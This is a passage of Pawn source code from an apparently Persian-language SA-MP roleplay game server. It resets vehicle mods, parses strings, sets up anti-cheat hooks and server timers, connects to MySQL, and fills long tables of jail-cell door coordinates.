	   SaveKonValV(r, "cMod15", 0);
	   vInfo[r][cMod16] = 0;
	   SaveKonValV(r, "cMod16", 0);
	   vInfo[r][cMod17] = 0;
	   SaveKonValV(r, "cMod17", 0);
	   vInfo[r][cPaintJob] = 3;
	   SaveKonValV(r, "cPaintJob", 3);
	   vInfo[r][cPanel] = 0;
	   SaveKonValV(r, "cPanel", 0);
	   vInfo[r][cDoors] = 0;
	   SaveKonValV(r, "cDoors", 0);
	   vInfo[r][cTires] = 0;
	   SaveKonValV(r, "cTires", 0);
	   vInfo[r][cLights] = 0;
	   SaveKonValV(r, "cLights", 0);
	   if(vInfo[r][cNeon] != 0)
	   {
	   VehicleNeon[vehicleid] = 0;
	   for(new i = 0; i < 24; i++)
	   {
		DestroyObject(CarNeons[vehicleid][i]);
	   }
	   }
	   if(vInfo[r][cInsurance] <= 0)
	   {
		  vInfo[r][cFixed] = 0;
		  SaveKonValV(r, "cFixed", 0);
	   }
	   else
	   {
		 if(VehicleHasDriver(vehicleid) || ShouldTakeIt[vehicleid] == 1)
		 {
		  vInfo[r][cInsurance] --;
		  SaveKonValV(r, "cInsurance", vInfo[r][cInsurance]);
		 }
	   }
	}
	return 1;
}
//-----------------------------------------------
//----------------------------------------------
/*-------------------------------Player name Server ---------------------------------------------*/
forward SweeperJobFinish(playerid);
public SweeperJobFinish(playerid)
{
	if(SweepingJob[playerid] == 0){ KillTimer(SweepT[playerid]); }
	new veh = GetPlayerVehicleID(playerid);
	new sppeed = soratbegirs(veh);
	if(sppeed > 30 && AFK[playerid] == 0) {
	GivePlayerPool(playerid, 3);
	}
	return 1;
}

strtok(const string[], &index)
{
	   new length = strlen(string);
	   while ((index < length) && (string[index] <= ' '))
	   {
			 index++;
	   }

	   new offset = index;
	   new result[20];
	   while ((index < length) && (string[index] > ' ') && ((index - offset) < (sizeof(result) - 1)))
	   {
			 result[index - offset] = string[index];
			 index++;
	   }
	   result[index - offset] = EOS;
	   return result;
}
strtokXE(const string[], &index)
{
	   new length = strlen(string);
	   while ((index < length) && (string[index] <= ' '))
	   {
			 index++;
	   }

	   new offset = index;
	   new result[205];
	   while ((index < length) && (string[index] > ' ') && ((index - offset) < (sizeof(result) - 1)))
	   {
			 result[index - offset] = string[index];
			 index++;
	   }
	   result[index - offset] = EOS;
	   return result;
}
   function AllowPPIV(playerid)
   {
   ShouldTel[playerid]=SetTimerEx("shouldteltm", 500, false, "d", playerid);
   ShouldntKick[playerid]=1;
   return 1;
   }
  function shouldntteltm(playerid)
  {
  ShouldntKick[playerid]=0;
  if(ShouldTel[playerid]!=0){ShouldTel[playerid]=0;KillTimer(ShouldTel[playerid]);}
  return 1;
  }
	stock PutPlayerInVehicleEx(playerid,vehicleid,seatid)
{
	new Float:Vehpos[3];
	GetVehiclePos(vehicleid, Vehpos[0], Vehpos[1], Vehpos[2]);
	if(!IsPlayerInRangeOfPoint(playerid, 70.0, Vehpos[0], Vehpos[1], Vehpos[2]))
	{
	    TrueTeleport[playerid] = 1;
	}
    MojazBeCar[playerid] = vehicleid;
	return PutPlayerInVehicle(playerid,vehicleid,seatid);
}

stock IsPlayerNearObject(playerid, objectid, Float:range)
{
	new Float:X, Float:Y, Float:Z;
	GetDynamicObjectPos(objectid, X, Y, Z);
	if(IsPlayerInRangeOfPoint(playerid, range, X, Y, Z))return true;
	return false;
}
	forward OnPlayerFakeKill(playerid);
	public OnPlayerFakeKill(playerid)
{
    CheatWarn(playerid, 12, 0, 0, 0);
    return true;
}
public OnGameModeInit()
{
AntiDeAMX();
skinlist = LoadModelSelectionMenu("skin.txt");
skinxlist = LoadModelSelectionMenu("skin.txt");
bajje1 = CreateDynamicCP(2306.5737,-2000.2744,13.5861, 1); // Bajje 1
bajje2 = CreateDynamicCP(2306.4434,-1996.3667,13.5884, 1); // Bajje 2
bajje3 = CreateDynamicCP(2306.1125,-1992.6650,13.5801, 1); // Bajje 3
bajje4 = CreateDynamicCP(2305.6560,-1988.4513,13.5839, 1); // Bajje 4
bajje5 = CreateDynamicCP(2313.6694,-1986.9850,13.5882, 1); // Bajje 5
Timer[1] = SetTimer("MoneyBag", SINACONVERTER(59), true);
SetTimer("EngineBegir",7000,true);
CreateNPCLS();
CreateNPCLV();
CreateNPCSF();
	for( new i = 0; i < MAX_VEHICLES; i++ ) {
	    VehicleInfo[ i ][ vTuned ] = false;
		VehicleInfo[ i ][ vSpoiler ] = -1;
		VehicleInfo[ i ][ vHood ] = -1;
		VehicleInfo[ i ][ vRoof ] = -1;
		VehicleInfo[ i ][ vSkirt ] = -1;
		VehicleInfo[ i ][ vLamps ] = -1;
		VehicleInfo[ i ][ vNitro ] = -1;
		VehicleInfo[ i ][ vExhaust ] = -1;
		VehicleInfo[ i ][ vWheels ] = -1;
		VehicleInfo[ i ][ vStereo ] = -1;
		VehicleInfo[ i ][ vHydraulics ] = -1;
		VehicleInfo[ i ][ vFrontBumper ] = -1;
		VehicleInfo[ i ][ vRearBumper ] = -1;
		VehicleInfo[ i ][ vRightVent ] = -1;
		VehicleInfo[ i ][ vLeftVent ] = -1;
		VehicleInfo[ i ][ vPaintJob ] = 255;
	}

///////////////////////////  By SiNaGaMeR   ////////////////////////////////////////////
	
	
	
	

	/////////////////////////////// By SiNaGaMeR //////////////////////////////
	
	new formaterX[144];
	new formaterX2[144];
	new formaterX3[144];
	format(formaterX, sizeof(formaterX), " Hatman ba IDe {00ff00}%s{ffffff} dar channele {ff0000}Telegramiye{ffffff} ma ozv shavid.",TELEGRAM_ID);
	format(formaterX2, sizeof(formaterX2), " Doostane khod ra be {00ff00}%s %s{ffffff} davat konid va az {ff0000}javayeze{ffffff} nafis bahremand shavid!",SERVER_NAME1, SERVER_NAME2);
	format(formaterX3, sizeof(formaterX3), " Teame {00ff00}%s %s{ffffff} dar ghebale bi ehtiyati dar morede accounte shoma, hich {ff0000}masooliyati{ffffff} nadarad!",SERVER_NAME1, SERVER_NAME2);
	AddRandomMessage(formaterX2);
	AddRandomMessage(" Dar soorate moshahedeye {00ff00}bug{ffffff}, aan ra az tarighe {ff0000}/bug{ffffff} be ma gozaresh dahid.");
	AddRandomMessage(formaterX);
	AddRandomMessage(" Agar dar server be {ff0000}moshkel bar khordid, ba helper ha az tarighe {00ff00}/helpme{ffffff} dar ertebat bashid.");
	AddRandomMessage(" {00ff00}Kharid va foroosh{ffffff} ba poole vagheyi dar in server be sheddat {ff0000}mamnoo{ffffff} mibashad.");
	AddRandomMessage(formaterX3);
	SetTimer("SendRandomMessage", 600000, 1);
	/////////////////////////////////////////////////////////////
Streamer_SetVisibleItems(STREAMER_TYPE_OBJECT,1000);// By SiNaGaMeR
// Ranger Spawn
//ActorRangerSpawn = CreateActor(217, 1643.12000, -2248.29468, 13.49447,   -1.08000, -91.14002, 3.30002);
//ApplyActorAnimation(ActorRangerSpawn, "DEALER","DEALER_IDLE",4.0,1,0,0,0,0);
//ActorMariana = CreateActor(93, 1368.94824, -1153.73755, 23.78732,   -270.12003, -87.90001, -43.13996);
//ApplyActorAnimation(ActorMariana, "INT_OFFICE","OFF_Sit_Type_Loop", 4.0, 1, 0, 0, 0, 0);
// Kire Ranger :D by Sina
//rangerkir = 0;
NaWarn = 0;
HeadShot = 1;
RestartTimer = 0;
SVRestart = 0;
//Dozdi = 1;
//ThereIsBoss = false;
CurColorTD1 = 0;
CurColorTD2 = 0;
PoolToo1 = 0;
PoolToo2 = 0;
PoolToo3 = 0;
PoolToo4 = 0;
RobVeh = 9999;
PickupedPool = 0;
NowCanPickupMoney = 0;
BreakAvDar = 0;
sGunner1 = 9999;
sGunner2 = 9999;
sHacker = 9999;
sRunner = 9999;
NewRobLeader = 9999;
KiRafteAzRob = 0;
ReadyPlayers = 0;
IsServerRob = 0;
SnowMap = RAINING_SNOW;
goftls = 0;
goftlv = 0;
goftsf = 0;
BankLS1 = 0;
BankLS2 = 0;
BankLS3 = 0;
BankLS4 = 0;
BankLV1 = 0;
BankLV2 = 0;
BankLV3 = 0;
BankLV4 = 0;
BankSF1 = 0;
BankSF2 = 0;
BankSF3 = 0;
BankSF4 = 0;
AdminElamShod = 0;
HelperElamShod = 0;
LeaderElamShod = 0;
OnDrugMission = 0;
IDeCodeRoBegir = 9999999999999;
TogPoll = 0;
TotalVotes = 0;
Op1Votes = 0;
Op2Votes = 0;
OnGoingPoll = 0;
PollType = 9999;
DoingPoll = 0;
IsAnyPollActivated = 0;
IsAnyPollPublic = 0;
IsAnyPollPrivate = 0;
CheatMaxWarn = 7;
svmin = 0;
svsec = 0;
svhour = 0;
svday = 0;
bayadclearbashe = 0;
PaintballMin = 0;
PaintballSec = 0;
bajje1por = 0;
bajje2por = 0;
bajje3por = 0;
bajje4por = 0;
bajje5por = 0;
BetShopLock = 1;
SvReports = 0;
SvHelpmes = 0;
//GGmute = 1;
ResTTM = 0;
// Security-System Name Ranger
//SecRanger = 0;
// ----------
// HouseID: 389
//sinadoor1 = 0;
//--------
// HouseID: 69
//sinadoor2 = 0;
//--------
// HouseID: 227
//sinadoor3 = 0;
//------
betshopgate = 0;
//------
	 // Spray Created By: SiNaGaMeR
	//ElamShod = 1;
	//Spray3 = CreateObject(4730, 1633.79016, -2236.04150, 15.13366,   0.00000, 0.00000, 8.70000);
	//SetObjectMaterial(Spray3, 0, 0, "none", "none", HexToInt("0xRRGGBB00"));
	//SetObjectMaterialText(Spray3, "{00ECEC}Azin Game {FF0000}Flag {0000FF}Is {00FF00}Up! \n{3E3535}Enjoy {19AF23}Playing", 0, OBJECT_MATERIAL_SIZE_512x128, "Arial", 40, 0, 0xFFFF8200, 0, OBJECT_MATERIAL_TEXT_ALIGN_CENTER);
	// New BOXING map
	//MarianaBox = CreateObject(3334, 1372.8291, -1159.7211, 25.1472, 0.0000, 0.3999, 90.2999); // By SiNaGaMeR
	//SetObjectMaterialText(MarianaBox, "{FF0000}Box{FF00FF} Prizes", 0, 90, "Comic Sans MS", 70, 1, 0xFF4C75B7, 0x0, 0);
	AzinGameTD = CreateObject(18244, 2312.5068, -1983.2581, 17.5865, 87.6998, -1.7999, 0.7000);// Neveshte azin game
	BETSHOPTD = CreateObject(18244, 2310.7048, -1983.2597, 16.6550, 87.6998, -1.7999, 0.7000);// Neveshte betshop
	new FORMATTHIS[100];
	format(FORMATTHIS, sizeof(FORMATTHIS), "{ff0000}%s {00ff00}%s",SERVER_NAME1,SERVER_NAME2);
	SetObjectMaterialText(AzinGameTD, FORMATTHIS, 0, 90, "Corbel", 50, 0, 0xFFFFFFFF, 0x0, 0);
	SetObjectMaterialText(BETSHOPTD, "{ff00ff}BET SHOP!", 0, 90, "Corbel", 40, 0, 0xFFFFFFFF, 0x0, 0);


//	Barande = 9999;
	//FunTime = 1;
	new VeVel1[100];
	format(VeVel1, sizeof(VeVel1), "hostname %s %s: RPG Server", SERVER_NAME1, SERVER_NAME2);
	SendRconCommand(VeVel1);
	SendRconCommand("password 0");
	SetTimer("SVStart", 1000, 0);
	SetTimer("svuptime", 1000, 1);
	SetTimer("SaveMeets", 500, 1);
	SetTimer("StaffChecker", 500, 1);
	SetTimer("SetStringTDs", 1000, 1);
	SetTimer("FixKonTimeRe",1000,1);
	SetTimer("CoinUpdater",300000,1);
//	BasketBallSv = 0;
	BasketPlayers = 0;
	SurfSv = 0;
	BasketLeader = 9999;
	BasketScoreWin = 0;
	MLR = 0;
	MMLR = 0;
	RMLR = 0;
	LMLR = 0;

	mysql_log(LOG_ERROR);
	sqlconnect();
	KartingPlayers = 0;
	reportopen = 1;
	pbdg = 0;
	pbsl = 0;
	pbsg = 0;
	pbss = 0;
	pbcs = 0;
	pbmp = 0;
	pbsr = 0;
	pbak = 0;
	pbm4 = 0;
	pbcr = 0;
	ShowPlayerMarkers(3);
	SafeOn = 1;
	for(new i = 0;i<MAX_PLAYERS;i++) {EventIDUsed[i] = false;EventIDOrg[i] = INVALID_PLAYER_ID;}
	EventHave = false;
	EventOrg = INVALID_PLAYER_ID;
	ZendanInfo[loliaia][CellOpenx] = 0.0;
	ZendanInfo[loliaia][CellOpenY] = 0.0;
	ZendanInfo[loliaia][CellOpenZ] = 0.0;
	ZendanInfo[loliaia][CellCloseX] = 0.0;
	ZendanInfo[loliaia][CellCloseY] = 0.0;
	ZendanInfo[loliaia][CellCloseZ] = 0.0;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 0.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 0.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1541.9717;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1540.2406;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1546.2427;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1544.5404;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1550.5037;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1548.8016;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1554.8052;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1553.0727;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1559.0862;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1557.3725;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1563.2670;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1561.5731;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1567.5376;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1565.8143;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1571.8386;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1570.1253;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1576.1283;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1574.41589;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1540.2406;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1541.96106;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1544.5217;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1546.2119;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1548.7725;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1550.4828;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1553.0129;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1554.7324;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1557.2828;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1558.96326;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1561.5149;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1563.2136;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1565.7462;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1567.44446;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1570.0264;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1571.72595;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1574.2975;
	ZendanInfo[loliaia][CellOpenZ] = 1997.6089;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1576.03638;
	ZendanInfo[loliaia][CellCloseZ] = 1997.6089;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1576.1283;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8877;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1574.41589;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8877;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1571.8372;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8877;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1570.09607;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8877;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1567.5663;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8877;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1565.8352;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8877;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1563.2354;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8877;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1561.56396;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8877;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1559.0044;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8877;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1557.3230;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8877;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1554.7532;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8877;
